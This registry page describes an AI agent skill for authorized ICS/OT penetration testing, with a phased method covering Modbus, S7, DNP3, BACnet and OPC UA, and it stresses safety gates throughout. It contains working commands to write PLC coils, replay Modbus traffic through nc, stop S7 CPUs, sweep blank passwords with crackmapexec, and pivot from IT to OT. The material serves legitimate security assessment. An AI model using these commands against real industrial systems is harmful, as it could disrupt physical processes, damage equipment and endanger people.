ics-technique
Auth assessment: ICS/OT methodology; passive-first Modbus, DNP3, S7, BACnet, OPC UA, PLC/HMI evidence, safety gates.
v2026.11.13-21cd5683 התקנות+3 ב-7 ימים39 כוכביםMITסונכרן לפני 10 שעות
התקנה
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$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/ics-techniqueנכתב אל ~/.notholy/skills אחרי בדיקת החתימה וה-SHA-256.
חתימהחתום, ed25519
חבילה3b3dd8f9…c0473b70
3b3dd8f98597…4845c0473b704 קבצים · 12.1 KBסריקהנמוךממצא אחד
- קישורים לדומיינים חיצוניים
מקורgithub.com/AeonDave/malskill/tree/main/offensive-techniques/ics-technique@21cd568
הפריט הזה עדיין לא נכתב בעברית, ולכן הוא מוצג בשפה אחרת: English.
בעמוד הזה
Goal: map the OT attack surface, assess reachable field devices and control systems, and identify exploitable weaknesses — while keeping safety of industrial processes and physical equipment as a hard constraint throughout.
When this technique applies
- Authorized OT/ICS penetration test or red team engagement.
- Compromise of IT network with visibility into an OT segment (IT/OT pivot).
- Assessment of exposed ICS protocols on a DMZ or internet-facing SCADA interface.
- Evaluation of HMI, engineering workstation, or historian security posture.
- Verification that safety instrumented systems (SIS) are isolated from corporate network.
Boundary with other skills
- IT network scanning and exploitation: use
network-techniqueandvuln-exploit-techniquefor Windows/Linux hosts in OT (historians, EWS). - Physical hardware access: UART, JTAG, flash dump on PLCs/RTUs →
hardware-technique. - RF and wireless sensor networks: 900 MHz, Zigbee, WirelessHART, ISA100 →
wireless-technique. - CTF ICS lab tasks: simulated challenges →
ics-ctf. - Malware and implant deployment: coordinate with
post-exploit-technique; scope explicitly with client.
Safety-first operating model
ICS assessments differ from IT because mistakes can trigger physical process failures, equipment damage, or safety hazards:
- Verify isolation: confirm the target is a lab PLC, test segment, or authorized production window with the client's process engineer present.
- Never write before reading: enumerate registers, coils, and device state before any write or command.
- No force-writes to safety outputs: digital outputs mapped to SIS, emergency shutdown, relief valves, or actuators are out of scope unless explicitly cleared by the client's process safety team.
- Prefer passive and read-only: passive sniffing and read operations carry near-zero process risk; writes and command injection require pre-approval and a rollback plan.
- Avoid aggressive scanning: OT devices have real-time constraints — Nessus default policy, masscan, or syn-scan rates safe for IT can overload PLC CPUs, drop control frames, and disrupt processes.
Agent operating model
Loop:
1. Passive enumeration — capture OT traffic, identify hosts and protocols.
2. Device fingerprinting — identify PLCs, RTUs, HMIs, historians by protocol response.
3. Read-only interrogation — enumerate coils, registers, tags, diagnostics.
4. Document attack surface — flag write-capable paths and associated process risk.
5. Active exploitation — only after explicit client approval, with rollback plan.
6. IT/OT pivot — escalate from OT device to engineering workstation or historian.
Stop when: objective achieved, safety gate triggered, or scope boundary reached.Phase 1 — Passive OT network enumeration
Zero active probing. Capture and decode existing traffic without sending a packet.
# Capture on OT segment via tap or span port
tcpdump -i eth0 -w ot_capture.pcap
# Zeek for automatic protocol detection and summary
zeek -r ot_capture.pcap
# Review: conn.log (hosts/ports), modbus.log, dnp3.log, s7.log
# Wireshark display filters:
# Modbus TCP: tcp.port == 502
# DNP3: dnp3
# EtherNet/IP: enip
# S7comm: s7comm
# BACnet: bacnet
# IEC 60870-5-104: iec104
# OPC-UA: opcua
# Profinet DCP: pn_dcpPassive goals:
- Identify all OT hosts (IP, MAC, hostname if visible in DCP/mDNS).
- Map protocol types per host and communication pattern (polling vs event-driven).
- Identify master/slave relationships (e.g., HMI → PLC polling cycle).
- Spot unencrypted protocol traffic that can be replayed or injected.
Phase 2 — Active device fingerprinting
Light active probing — read-only operations only at this stage.
Modbus (TCP 502)
# nmap Modbus unit ID scan
nmap --script modbus-discover -p 502 <target>
# Python: scan unit IDs 1–247 for responding slaves
python3 - <<'EOF'
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('<target>', port=502)
c.connect()
for uid in range(1, 248):
r = c.read_holding_registers(0, 1, slave=uid)
if not r.isError():
print(f"Unit ID {uid}: responding")
c.close()
EOFEtherNet/IP / CIP (TCP 44818, UDP 2222)
nmap -sV --script enip-info -p 44818 <target>
# Returns: vendor, product name, serial number, firmware revisionSiemens S7comm (TCP 102)
nmap -sV --script s7-info -p 102 <target>
# Returns: module name, plant ID, firmware version, CPU state
python3 - <<'EOF'
import snap7
c = snap7.client.Client()
c.connect('<target>', 0, 1) # rack=0, slot=1 for S7-1200/1500; S7-300 → slot=2; S7-400 → slot=3
print(c.get_cpu_info())
c.disconnect()
EOFDNP3 (TCP/UDP 20000)
nmap --script dnp3-info -p 20000 <target>BACnet (UDP 47808)
nmap --script bacnet-info -p U:47808 <target>OPC-UA (TCP 4840)
# opcua-client-gui or python-opcua
python3 - <<'EOF'
from opcua import Client
c = Client("opc.tcp://<target>:4840")
c.connect()
root = c.get_root_node()
print(root.get_children())
c.disconnect()
EOFPhase 3 — Protocol-level read interrogation
Read registers, coils, and device diagnostics. No writes at this phase.
Modbus read operations
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('<target>', port=502)
c.connect()
slave = 1
# Coils (digital outputs) — FC01
coils = c.read_coils(0, 64, slave=slave)
# Discrete inputs (digital inputs) — FC02
di = c.read_discrete_inputs(0, 64, slave=slave)
# Holding registers (analog/config values) — FC03
hr = c.read_holding_registers(0, 32, slave=slave)
# Input registers (sensor readings) — FC04
ir = c.read_input_registers(0, 32, slave=slave)
c.close()S7 read operations
import snap7
c = snap7.client.Client()
c.connect('<target>', 0, 1)
# Read data block DB1, byte 0, 100 bytes
data = c.db_read(1, 0, 100)
print(data.hex())
# Read Merker (bit memory)
m = c.read_area(snap7.type.Areas.MK, 0, 0, 10)
c.disconnect()Document: register ranges in use, coil states mapped to physical outputs, configuration registers (setpoints, PID parameters, alarm thresholds).
Phase 4 — Attack path identification and active exploitation
Classify write-capable paths by process risk before proceeding.
| Target | Action | Risk | Proceed when |
|---|---|---|---|
| Holding register (setpoint) | Write new value | Medium | Lab PLC or explicit approval + rollback ready |
| Output coil (digital out) | Force ON/OFF | High | Lab target, actuator disconnected |
| Safety coil / SIS output | Any write | Critical | Never without SIS engineer present and isolation confirmed |
| S7 DB block | Write tag | Medium-High | Lab or frozen process window |
| HMI session | Inject command | High | Lab only |
Modbus write (approved lab only)
# ALWAYS read and record current state for rollback before writing
current = c.read_coils(0, 1, slave=slave)
print("Before:", current.bits[0])
c.write_coil(0, True, slave=slave) # force output ON
# Restore immediately after test
c.write_coil(0, current.bits[0], slave=slave)Modbus replay attack
# Capture legitimate write command (Wireshark → Export raw bytes), replay
echo -n '<hex_payload>' | xxd -r -p | nc <target> 502S7 CPU stop (lab only — causes PLC to halt all outputs)
c.plc_stop() # halts execution; only in isolated lab
c.plc_hot_start() # resumePhase 5 — HMI and engineering workstation exploitation
HMIs and EWS run Windows and are the primary IT/OT pivot target.
# Enumerate Windows hosts in OT network (gentle scan — avoid aggressive rate)
nmap -sV -T2 -p 135,139,445,3389,4840 <ot_subnet>/24
# Common vulnerable software on EWS/HMI (often unpatched Windows XP/7/2008):
# WinCC, FactoryTalk, iFix, Ignition, Wonderware, Citect, InTouch
searchsploit "WinCC" "FactoryTalk" "Wonderware" "Citect" "Inductive Automation"
# Default credentials common on HMI/VNC (check before exploitation)
crackmapexec smb <ot_subnet>/24 -u administrator -p '' administrator --local-auth
# VNC: password "password", "1234", or blankHistorian exploitation
Historians (OSIsoft PI, Honeywell PHD, AspenTech IP21) store all process data and often bridge IT and OT networks.
# OSIsoft PI — port 5450 (PI Data Archive)
# PI Web API if DMZ-bridged: https://<historian>/piwebapi/
curl -k https://<historian>/piwebapi/
# SQL Server on historian (MSSQL — often SA with weak password)
nmap -p 1433 <historian>
crackmapexec mssql <historian> -u sa -p '' --local-authHistorian compromise gives:
- Full process history and operating parameters.
- Credentials for field device connections (PLCs, DCS).
- Pivot path into corporate IT if historian bridges both networks.
Phase 6 — IT/OT boundary pivoting
Common pivot paths:
Corporate IT → Historian (dual-homed) → OT network
Corporate IT → Remote access jump server → HMI
Corporate IT → Engineering workstation (VPN tunnel) → PLC
Tunneling tools: chisel; proxychains for chaining through compromised EWS.Credential reuse from device config
- Router admin on OT switch manages PLC firmware updates.
- Historian service account has domain credentials → lateral movement on IT.
- Remote access credentials (VPN, TeamViewer) on EWS often reuse corporate passwords.
- PLC project files (.s7p, .acd, .rsp) may contain plaintext passwords for online connections.
Quality gates
- Passive capture complete before any active probe.
- No writes executed without reading and recording current state first.
- Safety-mapped outputs (SIS, emergency shutdown, relief valves) explicitly excluded or client-cleared.
- Every active action logged: timestamp, function code, address, value.
- Client process engineer available or on-call during any active write phase.
- Scan rate kept low (T2 or lower for nmap; manual single-target queries for ICS protocols).
Anti-patterns
- Writing coils or registers without confirming they are not safety-linked.
- Using IT-oriented aggressive scanners (Nessus default policy, masscan) on OT segments — causes PLC CPU overload and process disruption.
- Assuming IT techniques transfer directly: OT devices have real-time constraints and drop connections under normal IT scan rates.
- Pivoting into OT without client awareness of blast radius.
- Treating historian exploitation as low-risk — historians bridge IT/OT and their compromise is always high-impact.
- Leaving any write-side change in place without client confirmation of restoration.
Resources
- references/ics-protocols.md — Protocol reference: Modbus function codes, S7comm areas/function codes, DNP3 object groups, EtherNet/IP CIP services, BACnet object types, IEC 104 ASDU types, OPC-UA node enumeration.
- references/ics-enumeration.md — Active fingerprinting commands per protocol, nmap ICS scripts, pymodbus/snap7/cpppo usage patterns, Zeek OT log analysis, passive asset discovery workflow.
- references/ics-safety-gates.md — Risk classification for ICS actions, SIS boundary identification, approved-action templates, rollback procedures, engagement rules for production environments.
הקבצים בגרסה הזו
references/320.5 KB
- ics-enumeration.md6.5 KB
- ics-protocols.md7.0 KB
- ics-safety-gates.md6.9 KB
- SKILL.md11.6 KB
הרשאות
| הרשאה | הוצהר | נמצא בסריקה |
|---|---|---|
| קורא קבצים | כן | כן |
| כותב קבצים | לא | לא |
| מריץ פקודות shell | כן | כן |
| משתמש ברשת | כן | כן |
| משתמש במחברים | לא | לא |
| שולט בדפדפן | לא | לא |
ממצאי הסריקה
נבדק ב-13 בנוב׳ 2026
- מידעקישור · קישורים לדומיינים חיצוניים
סריקה נקייה מורידה את הסיכון, אבל לא מוכיחה שהחבילה בטוחה. כדאי לקרוא מה מתקינים.
| גרסה | פורסמה | Commit | SHA-256 | חתימה | שינוי בהרשאות |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | 13 בנוב׳ 2026 | 21cd568 | 3b3dd8f9 | חתומה | – |
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